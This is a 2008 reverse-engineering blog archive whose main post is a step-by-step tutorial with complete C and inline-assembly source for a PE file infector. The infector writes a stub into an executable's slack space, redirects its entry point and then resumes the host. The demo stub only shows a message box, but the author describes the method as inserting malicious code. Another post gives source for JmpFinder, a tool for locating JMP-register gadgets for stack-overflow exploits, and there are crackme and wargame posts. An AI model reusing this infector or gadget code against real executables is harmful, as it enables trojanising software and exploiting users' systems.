KOrUPt

December 30, 2008

What I’ve been up to.

Filed under: General — KOrUPt @ 12:06

This is just a quick post I thought I’d make to let you all know what I’m up to.

Currently I’m revising various portions of my old code, which I may upload and provide links to on a separate page of this Blog.

I’m also thinking about the implementation of various advanced PE protection tools, Code VM’s and the like.

…And of course I’m trying to think up new subjects I could write some article’s about. Whilst I have been up all night and some refer to me as a machine, I too am only human. Thus whilst I try my best to keep this Blog filled with new and interesting content, it can take me a few days at a time to do some writeups… As I’m sure you can all relate to.

On that note. Have a good new year :) .

I shall be posting some stuff up soon so stay tuned.

KOrUPt.

December 26, 2008

Keygening anyone?

Filed under: Reversing — Tags: , , , , — KOrUPt @ 18:26

Below is a KeygenMe I’ve created for your enjoyment :P . This is one of my first.

Admittedly I could have made the algorithm considerably harder, but I didn’t want to overkill the first KeygenMe I released, so I kept it simple.

If you manage to Keygen it, consider writing a tutorial on how you did it, please leave a comment and let me know how you’re progressing.

Level: Intermediate.

Protection: Packed with UPX.

Rules: No Self-Keygening, no patching.

I may write a tutorial on how to beat it soon.

Any questions and or suggestions or similar, please leave a comment and I’ll get back to you as soon as possible.

Thanks for your time and happy cracking :) . Have a good new year.

Download: http://korupt.co.uk/KeygenMe1.exe

KOrUPt.

 

 

December 25, 2008

Got a suggestion?

Filed under: General — Tags: , , — KOrUPt @ 03:28

 

Firstly, I want to say I’m putting this post out sooner rather than later… I’d imagine that at some point I’m going to run out of idea’s for what my next article should be about.

That said, if you’ve a suggestion for an article you’d like me to write about, don’t hesitate to leave me a comment with your suggestion.

So far I’ve had people ask me if I’d be able to do an article about Heuristics Evasion and possible methods to avoid signature detection amongst other coding related things. I’m still considering these idea’s and I may decide to do a few write-ups on the subject.

On that note, please keep them coming and don’t hesitate to leave a comment! Try and keep the idea’s on topic if possible.

I look forward to reading about your idea’s and perhaps writing an article in response if possible.

That just about sums up this post for now… Check back regularly for updates.

KOrUPt.

 

Merry Christmas

Filed under: General — Tags: , , , — KOrUPt @ 00:12

Merry Christmas everybody… I hope you all have a good one.

Let me know if you’re getting anything special :p.

KOrUPt.

December 24, 2008

JmpFinder

Filed under: Coding, Tools — Tags: , , , , — KOrUPt @ 00:11

This is a tool I wrote to aid in exploitation of Windows PE files, its sole purpose is to find the location of instructions that jump into registers.

Those familiar with software exploitation will know why it’s useful to have the Virtual Address of a "JMP ESP" in memory…

I’ve released this tool on a few sites already but I figured I may as well post it here too…

Below is the source code, I’ve also uploaded a copy of the compiled version to this server…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// JmpFinder V1.4 By KOrUPt with credit Napalm for helping :)
#pragma comment(linker,"/BASE:0x400000 /FILEALIGN:0x200 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /IGNORE:4078")
#pragma comment(lib, "version.lib")
#include <windows.h>
#include <stdio.h>
#include "x86opsize.cpp" // < hackjob for scITE :p
 
struct LANGANDCODEPAGE {
  WORD wLanguage;
  WORD wCodePage;
} *lpTranslate;
 
DWORD FileToVa(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) // By Napalm
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}	
 
int main(int argc, char* argv[])
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER lpSecHdr;
	HANDLE hFile, hFileMap;
    LPBYTE hMap;
 
	char subBlock[256];
	char jmpTable[][4] = { "EAX", "ECX", "EDX", "EBX", "ESP", "EBP", "ESI", "EDI", 0 };
	LPVOID versionInfo, versionOutput; 
	DWORD dwSize, fsize, i, useOpsize = 0;
	UINT  generic = 0;
 
	printf("[*] Jmp Finder V1.4 By KOrUPt\n");
 
    if(argc < 2){
        printf("[-] Usage: %s <file> [IncrementByOpSize]\n", argv[0]);
        return 0;
    }
 
	if(argc == 3){
		printf("[*] Incrementing by instruction size\n");
		useOpsize = 1;
	}
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_READ_ACCESS, 0, 0, 0);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(fsize < (sizeof(IMAGE_DOS_SIGNATURE) + sizeof(IMAGE_NT_HEADERS)) || fsize == INVALID_FILE_SIZE){
		printf("[-] PE Headers not found\n");
		CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
	}
 
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
	pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
	if(pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
		printf("[-] Architecture not supported\n");
		goto cleanup;
	}
 
	printf("[*] Scanning file: %s\n", argv[1]);
 
	// get version info
	if((dwSize = GetFileVersionInfoSize(argv[1], &i))){
		versionInfo = malloc(dwSize);
		if(versionInfo){
			if(GetFileVersionInfo(argv[1], 0, dwSize, versionInfo)){
				if(VerQueryValue(versionInfo, "\\VarFileInfo\\Translation", (LPVOID *)&lpTranslate, &generic)){
					wsprintf(subBlock, "\\StringFileInfo\\%04x%04x\\FileVersion", lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
					if(VerQueryValue(versionInfo, subBlock, (LPVOID *)&versionOutput, &generic))
						printf("[+] File Version: %s\n\n", versionOutput);
				}
			}
 
			free(versionInfo);
		}
	}
 
	lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
	for(i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++){
		if(lpSecHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE){
			BYTE bOpcode2;
			LPBYTE lpStart = (hMap + lpSecHdr->PointerToRawData);
			LPBYTE lpEnd   = (lpStart + lpSecHdr->SizeOfRawData);
 
			while(lpStart < lpEnd){
				bOpcode2 =  *(lpStart + 1);
				if(*lpStart == 0xFF && bOpcode2 >= 0xE0 && bOpcode2 <= 0xE7){
					printf("%Jmp %s located!", jmpTable[bOpcode2 & 0xF]);
					printf("\n[*] Virtual Address: 0x%08lX\n[*] FileOffset: 0x%08lX\n\n",
					FileToVa((lpStart - hMap), pNtHeaders), (lpStart - hMap));
				}
 
				if(useOpsize)
					lpStart += x86opsize(lpStart);
				else lpStart++;
			}
		}
 
		lpSecHdr++;
	}
 
	printf("[+] Happy Stack Smashing :)!\n");
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
	return 0;
}

Download: http://korupt.co.uk/JmpFinder.exe

I look forward to reading your comments and such, if you’ve any questions please let me know! KOrUPt.

December 23, 2008

PE Infection

Filed under: Coding, Tips and Tricks — Tags: , , , , , — KOrUPt @ 22:37

Portable Executable file infection is a subject I always found to be sketchy. There was always a piece of the puzzle missing in my case… In this article I hope to clarify the matter and hopefully provide a good starting point for those wanting to learn how such tools work.

I want to mention that I’m writing this article with an intention of educating others. You may start out with PE infection, but eventually I hope that you’ll move onto authoring PE protection tools and exploiting your newly found knowledge in a positive and ethical manner. A lot can be learned during the development and implementation process of such tools.

I’ll mainly be using C and inline Assembler in this article and I’ll assume you’ve at least a working knowledge of both C and Assembler.

Firstly, what is a PE file? You can find out by skimming through this page:

Secondly, what is PE infection?

In my opinion PE infection is simply a method of inserting arbitrary (malicious) code into a compiled portable executable whilst maintaining the executable’s normal functionality(it still appears to execute as if it had not been tampered with).

Of course to infect a PE file we’ll need to know about the PE file format, various documents exist on this subject, I recommend you take a look at the following before you continue reading this article.

A typical PE file’s layout looks like this:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[IMAGE_FILE_HEADER][IMAGE_OPTIONAL_HEADER]

[Section Table]

[Section 1][Section 2][Section n]

I’ve neglected the DOS header above but it shouldn’t matter too much, my goal is not to teach you the inner workings of the PE file format.

Inside the IMAGE_OPTIONAL_HEADER we’ve pointers to various data directories, these directories usually point to Import and Relocation table’s amongst other things that are contained in certain sections of the PE, we must preserve or rebuild these directories ourself should we want to destroy them… Such a case is if you encrypt a section that contains the contents of one the directories.

The basic idea behind PE infection is to first insert our code into slack space, modify the original entrypoint address to point to our code, execute it, then jump back to the host’s original entrypoint so the PE file executes as if our code didn’t exist.

Pseudo code would be similar to this:

  • Open target file
  • Verify MZ and PE signatures exist
  • Search for a specified length of NULL bytes starting from the beginning of the last section on disk
  • Write our stub into the newly located slack space
  • Modify our current entrypoint to point to the start of our newly inserted code
  • Close target file

Now I’d like to point out that Stub construction can usually be the harder part of PE infection, as you’ll find out shortly.

For now let’s begin with an implementation of our above Pseudo code…

We need to open the file and map it(this makes for easier modifications), I’m not going to explain what each API does as MSDN can do that for you.

The following snippet does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HANDLE hFile, hFileMap;
LPBYTE hMap;
DWORD fsize;
 
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
	printf("[-] Cannot open %s\n", argv[1]);
	return 0;
}
 
fsize = GetFileSize(hFile, 0);
if(!fsize){
	printf("[-] Invalid file size\n");
	CloseHandle(hFile);
	return 0;
}
 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}

Now we’ve a valid handle to our file we can begin by checking our MZ and PE signatures exist, Windows has pre built structures that make our job easier, they are as follows: 

1
2
3
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;

We can fill these in and check our signatures like so:

1
2
3
4
5
6
7
8
9
10
11
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
	printf("[-] DOS signature not found\n");
	goto cleanup;
}
 
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
	printf("[-] NT signature not found\n");
	goto cleanup;
}

Ok so what’s left? Ah yes, we need to find some free space to write our stub code into, to do this we’ll need to walk the section table and locate the last section, then search for a few NULL bytes starting from the offset of the last section… Luckilly this is easier than it sounds. If we fail to find a sufficent amount of NULL bytes then we’ll need to expand the last section’s size so our code will fit in, I’ll go over this shortly.

The following code does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
DWORD writeOffset;
unsigned int i = pSection->PointerToRawData;
int charcounter = 0;
 
for(; i != fsize; i++){
	if((char *)hMap[i] == 0x00){
		if(charcounter++ == stubLength){
			printf("[+] Code cave located @ 0x%08lX\n", i);
			writeOffset = i;
		}
	}else charcounter = 0;
}
 
if(charcounter == 0 || writeOffset == 0){
	printf("[-] Could not locate a big enough code cave\n");
	goto cleanup;
}
 
writeOffset -= stubLength;

Once we’ve found some free space and got an offset on disk to it, we can write our stub there.

What Stub I hear you ask? …And this is where I start the chapter about Stub Construction.

Firstly, what is an (infection) Stub? To me a Stub is basically a small chunk of code that executes before the hosts code, basically our infection code.

Our stub will be written in inline Assembler, you can use nasm if you like, but for simplicity I’m going to do it this way.

You should ask yourself what you need your stub to do before you go about coding it, in my case I simply want to display a message box to the user, whilst this defeats the point of stealth I’m only trying to demonstrate a concept, so this will suffice for now.

In order to call API’s we’ll need to either:

  1. Use fixed address’s
  2. Walk kernel32’s export and resolve GetProcAddress() and GetModuleHandleA()

For simplicity, I’ve opted for option 1, I’ll leave an implementation of option 2 open as an exercise for a few days.

I’d like to point out that I’m using MS’s compiler and MSV6 at the moment, should you have compilation errors(I’d imagine you will with GCC).

Currently our stub looks like this(see below), I’ve commented the code to save a few words. This code doesn’t really do anything as of yet, it’s just the needed code.

1
2
3
4
5
6
7
8
9
10
11
12
13
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
	}
}

Now we can expand this code to call MessageBoxA() with our desired text. I’ll be using fixed address’s that may change on different OS’s so keep that in mind should you want your code to be portable… I’m using Windows XP SP2 at the moment.

Our Stub now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC	// place holder for address of MessageBox
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}

Ok so now we’ve got our infection Stub, how do we write it into our PE file? This isn’t terribly difficult, just a simple call to memcpy() will suffice… but first we need to fill in those place holders scattered around our Stub. This will involve:

  1. Copying our inline assembler code into a buffer
  2. Locating the start of our place holder in the buffer
  3. Overwriting that place holder

Simple enough ‘ay… If you’re like me you may be able to understand code better than descriptions, not long to go now.

Now do you know what data we have to fill those place holders with? The first place holder needs to contain the virtual address of MessageBoxA, the second needs to contain the Original Entrypoint’s address in memory.

We can obtain the address of MessageBoxA like so:

1
2
3
4
5
6
7
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
	printf("[-] Could not load User32.dll");
	return 0;
}
 
dwAddress = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

Remember those PE structures I asked you to read up about earlier? If you did your homework you’ll know the entrypoint on disk is stored in the IMAGE_OPTIONAL_HEADER structure, which can be found in the IMAGE_NT_HEADERS structure.

We need to store our original entrypoint so our stub can return to it later… This can be done like so:

1
2
3
DWORD oep, oepRva;
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

I can imagine you’re becoming tired now, I am… But we’re nearly there, there’s no point in my stopping now, only a few more bases to cover, I’ll contiue telling myself that too :p.

We now need to put our inline assembly code into a buffer, but first we need our Stub codes size, notice that "void StubEnd(){}" at the end of our Stub? This label exists so we can calculate our Stubs size without problems.

Allow me to enlighten you:

1
2
3
4
// work out stub size
DWORD start	 = (DWORD)StubStart;
DWORD end 	 = (DWORD)StubEnd;
DWORD stubLength = (end - start);

Once we’ve got the size, we can use memcpy() on our function as if it were a normal buffer. Like so:

1
2
3
4
5
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub)
	goto cleanup;
 
memcpy(stub, StubStart, stubLength);

Now to actually locate and fill in our place holders, this part is easier than you may think and in my opinion the code should do a better job explaining it than I will at the moment(as it’s now gone 5am)…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// locate place holder offsets
for(i = 0, charcounter = 0; i != stubLength; i++){
	if(stub[i] == 0xCC){
		charcounter++;
		if(charcounter == 4 && callOffset == 0) callOffset = i - 3;
		else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3;
	}else charcounter = 0;
}
 
// check we've found them
if(oepOffset == 0 || callOffset == 0){
	free(stub);
	goto cleanup;
}
 
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
 
// we no longer need this
FreeLibrary(hUser32);

We can now write our Stub into the free space we located earlier using memcpy() like so:

1
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

Now we need to repair our PE images section sizes and such, in this case I’m just going to increase the virtual size of the section we’ve modified(you may need to round it up to correct page alignment, I’ve decided to keep it simple in this case so I’m simply going to increase the size). I want to point out that this is usually not the only thing you may need to repair when dealing with some executable’s, things like raw size of sections and size of image may also need to repaired in some cases.

We can increase the section size like so:

1
2
// set section size
pSection->Misc.VirtualSize += stubLength;

Now we need to update the original entrypoint to point to our new code, we also need to make our new code section executable, this can be done like so:

1
2
3
4
5
pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
// change sections permission flags so we can execute code
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

What happens if our executable has no slack space for our code to fit in? We can overcome this by mapping the file with a file size big enough to contain itself and our Stub, this will write the extra bytes into the file, after which we can use something like "writeOffset = dwNewFileSize + 4;". Here’s some code for those who don’t understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize + stubLength + 5, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize + stubLength + 5);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}
 
writeOffset = fsize;

Hopefully that helps clear things up a little.

What’s left? That was it! Cleaning up after ourselves.

This is probabbly the simplest part of all:

1
2
3
4
5
6
7
8
9
10
11
free(stub);
 
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
 
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;

Finally, I’m not one to leave you hanging, below is the source code of our newly created PE infecter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// PE Infecter by KOrUPt @ KOrUPt.co.uk
#include <windows.h>
#include <stdio.h>
 
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}
 
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}
 
int main(int argc, char* argv[]) 
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
	HANDLE hFile, hFileMap;
    HMODULE hUser32;
	LPBYTE hMap;
 
    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;
 
	// work out stub size
	DWORD start	 = (DWORD)StubStart;
	DWORD end 	 = (DWORD)StubEnd;
	DWORD stubLength = (end - start);
 
    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(!fsize){
		printf("[-] Could not get files size\n");
		CloseHandle(hFile);
		return 0;
	}
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	// check signatures
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
    // get last section's header...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
	pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
	// save entrypoint
	oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
 
	// locate free space
	i = pSection->PointerToRawData;
	for(; i != fsize; i++){
		if((char *)hMap[i] == 0x00){
			if(charcounter++ == stubLength + 24){
				printf("[+] Code cave located @ 0x%08lX\n", i);
				writeOffset = i;
			}
		}else charcounter = 0;
	}
 
    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }
 
	writeOffset -= stubLength;
 
    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
		goto cleanup;
    }
 
	// copy stub into a buffer
	memcpy(stub, StubStart, stubLength);
 
	// locate offsets of place holders in code
	for(i = 0, charcounter = 0; i != stubLength; i++){
        if(stub[i] == 0xCC){
            charcounter++;
			if(charcounter == 4 && callOffset == 0)
				callOffset = i - 3;
			else if(charcounter == 4 && oepOffset == 0)
				oepOffset = i - 3;
		}else charcounter = 0;
	}
 
	// check they're valid
	if(oepOffset == 0 || callOffset == 0){
		free(stub);
		goto cleanup;
	}
 
	hUser32 = LoadLibrary("User32.dll");
	if(!hUser32){
		free(stub);
		printf("[-] Could not load User32.dll");
		goto cleanup;
	}
 
	// fill in place holders
	*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
	*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
	FreeLibrary(hUser32);
 
	// write stub
	memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
 
	// set entrypoint
	pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
	// set section size
	pSection->Misc.VirtualSize += stubLength;
	pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
 
	// cleanup
	printf("[+] Stub written!!\n[*] Cleaning up\n");
	free(stub);
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
 
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

 

And I think that just about covers this blog post for now… I hope you enjoyed reading it. I look forward to reading your comments and reviews on this topic.

 

KOrUPt.

Eye candy and you…

Filed under: General — Tags: , , , — KOrUPt @ 16:56

Ok so I think every blog needs to have this question asked sooner or later…

How’s your desktop look?

Here’s mine:

http://korupt.co.uk/wp-content/uploads/desktop1.PNG

And here’s it at night:

http://korupt.co.uk/wp-content/uploads/2008/12/desktop2.png

Let me know how yours looks and leave a comment.

KOrUPt.

Favourite Wargame Level…

Filed under: General — Tags: , , , , , — KOrUPt @ 01:10

I started playing Wargames quite a while back, I eventually got bored but those times were fun.

I mainly played on SmashTheStack and Intruded’s Wargaming networks…

For those familiar with SmashTheStack, I’ve completed and wrote guides for the following:

  • IO levels 0 to 19
  • Blowfish levels 0 to 12
  • Tux levels 0 to 9

I’ve also completed and wrote a guide for Intruded’s Narnia Wargame.

With that out of the way I present a question to you all:

What’s your favourite Wargaming level?

For me it has to be SmashTheStack’s IO Level 11, this was a level designed by a friend of mine who goes by the nickname of Bla…

The level required 2 Brainfuck source files which had to have the same MD5 hash value but output different strings… I found this level creative and challenging, I can also say it did become slightly frustrating at times…

I learned quite a bit in the process of solving it. Whilist there are quite a few creative Wargames around, none has given me the same experience this one did.

I look forward to reading about your experiences and opinions on this subject.

You can find SmashTheStack’s and Intruded’s Wargaming networks here:

http://www.SmashTheStack.org

http://www.Intruded.net

KOrUPt.

December 22, 2008

How the ESP trick actually works

Filed under: Reversing — Tags: , , , , , — KOrUPt @ 20:10

Earlier today a friend of mine asked for assistance unpacking a custom built packer/protector… After I’d skimmed the disassembly I could see the ESP trick was a viable option once the anti-debug had been circumvented.

